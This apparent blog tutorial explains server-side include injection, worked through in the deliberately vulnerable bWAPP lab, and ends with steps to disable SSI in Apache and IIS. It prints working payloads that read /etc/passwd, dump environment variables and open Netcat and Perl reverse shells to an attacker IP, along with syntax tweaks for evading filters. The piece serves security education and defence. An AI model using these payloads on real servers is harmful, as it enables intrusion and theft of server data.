Server Side Includes (SSI) provide developers a smooth method to dynamically build web pages in web development contexts. SSI provides developers with a tool to embed dynamic elements into HTML documents through a system that does not require advanced knowledge of server and client programming. SSIs serve both performance optimization and serve as risks for exploitation whenever developers fail in their configuration.
This piece of content provides a dual understanding of SSI as it affects developers and attackers. This article introduces the analysis of typical SSI commands by explaining their unique syntax along with discussing manipulation techniques which can result in undesired consequences for attackers.
What Is SSI, Really?
The server processes HTML comments containing embedded special directives through SSI. Server directives such as <!--#include--> and <!--#exec--> inform the server to carry out instructions before generating the HTML content which will be sent to the client. The dual functionality of this design architecture enables a browser to interpret unprocessed SSI by viewing them as comments when SSI processing fails.
Lab
To access the lab, we will be using bee box and intentionally vulnerable application that we can runs applications like bwapp on vmware. You can download the vm from here and feel free to use google and youtube. I have tried other methods like docker, but SSI injection lab had some errors and I personally find installing bee box on vmware to be the easiest way to access this lab.
Breaking Down the SSI Directives
Let’s walk through some practical examples and explain what each command does, why the syntax looks a bit “off,” and what makes it a potential vector for attack when exploited.
1. Viewing System Files
<!--#exec cmd="cat /etc/passwd"-->
Through its exec directive this command instructs the server to execute the shell command cat /etc/passwd. The user account information lies within this file on Unix-like systems. An attacker who succeeds in SSI injection could exploit this vulnerability to access important system data even though an ideal secure setup should not disclose such information publicly.
The directive embeds its contents inside an HTML comment which appears to be there for documentation purposes. The browser ignores HTML comments yet when configured to handle SSI the server performs command execution. The specific structure of SSI allows it to appear alongside normal HTML coding.
Screenshot:
2. Listing Directory Contents
<!--#exec cmd="ls" -- >
Here, the exec directive executes the ls command which lists down all the files and directories present in the current working directory. It is just one simple way to know how many files are available on the server.
Simple noticing of the extra space and the way is formatted via closing tag (-- > instead of the standard -->). Occasionally, they modify the syntax to evade simple pattern-based firewalls on websites. Such tiny glitches could help enter undetected while being properly interpreted by a vulnerable server.
Screenshot:
3. Echoing Environment Variables
SSI isn’t just a command execution tech–it could even be used for information disclosure through environment variables. Consider these examples:
a. Document Name
<!--#echo var="DOCUMENT_NAME" -- >
This directive outputs the value of the DOCUMENT_NAME environment variable, usually, the current file’s name. A useful operation to check that SSI is working and obtain metadata regarding the file being processed
Screenshot:
b. Last Modified Date
<!--#echo Var="LAST_MODIFIED" -->
Here, echo retrieves LAST_MODIFIED environment variable showing when the file was last modified. This kind of information can both a contributions, and a malicious individuals trace out the file’s life and the timeline of changes.
Screenshot:
c. Document URI
<!--#echo var="DOCUMENT_URI" -- >
This command just echoes the DOCUMENT_URI, which is the path in the server where lies the file. It is another method that helps verify the server’s internal routing and naming schemes.
Screenshot:
4. Printing the Entire Environment
<!--#printenv -->
The printenv directive equals all environment variables present in the server. For an attacker this could be a treasure trove of information as this commands returns all essential information about the server configurations down to potential secrets that might be stored in environment variables.
Screenshot:
5. Opening a Reverse Shell with Netcat
<!--#exec cmd="nc 192.168.1.9 443 -e /bin/sh" -->
The critical issue arises with SSI at this point. The script makes an attempt to create a thus named shell back to a remote server at 192.168.1.9 port 443 by using the Netcat (nc) utility. The command reaches an unauthorized attacker-controlled server located at 192.168.1.9:443 to establish a connection that connects to the system shell located at /bin/sh. The server enables interactive remote access to the attacker if the command executes successfully.
Important Note:
The command shows its output through the website instead of directing it to the Netcat listener. When the web server captures STDOUT from the script it displays the output in the HTML response to users. Multiple interactive reverse shell sessions require all streams of input and output to receive proper redirection.
After executing commands like pwd, whoami, and ls through the shell, you may see outputs like:
pwd
/var/www/bWAPP
whoami
www-data
And from the Netcat listener:
/var/www/bWAPP via
❯ sudo nc -lvnp 443
Listening on 0.0.0.0 443
ls
Connection received on 192.168.1.7 48389
ls
whoami
pwd
6. Crafting a Perl Reverse Shell
Hackers sometimes select Perl because it provides superior options for changing reverse shell functionality. Consider this payload:
<!--#exec cmd="perl -e 'use Socket;$i=\"192.168.1.9\";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));while(<S>){system($_);}'" -->
The script opens a TCP connection to the attacker’s specified IP and port while executing commands entered into the connection on the server system. The script produces output which may display on the website because it directs information to STDOUT.
The Fix: Redirecting I/O Correctly (failed attempt)
Obtaining complete Netcat-based interactive shell functionality requires you to specifically redirect the standard input/output/error streams.
<!--#exec cmd="perl -e 'use Socket;$i=\"192.168.1.9\";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\"<&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'" -->
Key Changes:
open(STDIN,"<&S");open(STDOUT,">&S");open(STDERR,">&S");
The commands redirect all streams of inputs and outputs and errors to connect with the Netcat service. The output direction flows directly from your listener instead of returning to the web page thanks to this redirection method which makes the session fully interactive.
But this is real life, and not everything goes as expected, and this breaks the web application and our payload does not execute as expected.
Screenshot of Failed attempt:
7. Displaying the Local Date
<!--#echo var="DATE_LOCAL" -->
The single command displays the local date together with the current time on the server’s system. Server time settings knowledge assists attackers to synchronize their activities and gain better understanding of the working environment.
Screenshot:
Why Does the Syntax Look So Weird?
At first glance, SSI directives can seem like a jumble of characters. There’s a reason for this:
HTML Comment Wrapping: SSIs embed their directives using HTML comment syntax where the server recognizes <!--#command--> as the starting syntax. This programming structure has been implemented to make sure the browser skips SSI when the server does not read them.
Security Evasion: The attackers exploit security weaknesses by adding spaces or changing letter cases to evade protection measures on servers. Technical jargon contributes to this unusual syntax format because attackers use such irregular formatting against servers that lack proper security measures or adequate sanitization systems.
Dual-Purpose Nature: The directives must maintain two functions by remaining valid HTML for browsers to ignore them while functioning as interpretable commands for servers. A dual-purpose structure creates complicated syntax which functions between server commands and HTML standards.
Remediation: Securing Your Server Against SSI Vulnerabilities
Server-Side Includes (SSI) offer a convenient way to dynamically include content, but they also open up potential security risks if not properly managed. In Apache, SSI is often configured through specific options and file extensions—typically, files with the .shtml extension trigger the server to parse SSI directives embedded in HTML comments. If your site doesn’t need SSI, or if you need to secure it against injection attacks, the following steps will help you disable or safely configure SSI on your web server. In this blog we will be having a look on how to prevent this vulnerability in apache and in IIS servers.
Disabling SSI in Apache
Method 1: Modify the Main Configuration File
Locate Your Configuration File:
Apache configuration files exist mainly in two main locations on different systems:
/etc/httpd/conf/httpd.conf (CentOS/RedHat)/etc/apache2/apache2.conf (Ubuntu/Debian)
Edit the File:
Your website needs you to open its configuration file using a text editor where you should find the <Directory> block.
Disable SSI Processing:
Add or update the directive:
Options -Includes
Processing SSI directives in that directory becomes disabled by adding the instruction.
Restart Apache:
Execute the configuration changes through an Apache service restart.
sudo systemctl restart apache2
# or
sudo service httpd restart
Method 2: Use a .htaccess File
Assume there is a directory at /var/www/html/insecure-dir which SSI is on for. You can disable this by following the below detailed steps.
Navigate to the Directory:
cd /var/www/html/insecure-dir
Make a new or edit the .htaccess file:
nano .htaccess
Add the Following Line:
Options -Includes
Save and Exit:
With this change, Apache will not execute PROCESS directive any more in /insecure-dir.
Method 3: Remove SSI Handlers
Delete the File Extensions Linked to SSI:
If the SSI is turned on merely because of file extensions like .shtml, then add the following line in Apache configuration or .htaccess file:
RemoveHandler .shtml
This prevents Apache from server-side includes in files of those types.
Disabling SSI in IIS
Method 1: Using IIS Manager
Open IIS Manager:
Choose your website from the left-hand tab.
Modify Handler Mappings:
In the middle panel, double-click Handler Mappings. Go to find any handlers connected to Server-Side Includes, select it with Right-click + “Remove” or Left-Click + “Disable”.
Method 2: Edit the applicationHost.config File
Locate the File:
The applicationHost.config file are commonly found at: C:\Windows\System32\inetsrv\config\applicationHost.config.
Disable SSI Globally:
Open the file as administrator, and within the <system.webServer> section, open and add or:
<serverSideInclude ssiExecDisable="true" />
Save the file and then restart IIS in order to have changes applied.
Method 3: Disable Directory Browsing
- Turn Off Directory Browsing:
In IIS Manager, offuscia double-click Directory Browsing for your site, set it to Off. This reduces the exposure of the SSI enabled files.
Conclusion
Server Side Includes serves as an instrument that speeds up web page development for dynamic content. Functional capabilities of Server Side Includes provide both advantages and opportunities for attackers when security measures are absent. SSI directives allow us to see both the practical benefit and potential dangers of this technology after learning their operation through exploring single VARIABLE echoes up to advanced interactive shell commands.
The lesson for developers should focus on both very strict management of user-controlled input along with avoiding harmful SSI configurations. Web infrastructure protection relies on complete understanding of every element in a technology including Server Side Includes, even though SSI was developed long ago.
Taking proactive steps allows users to preserve dynamic content benefits together with secure web application operation.
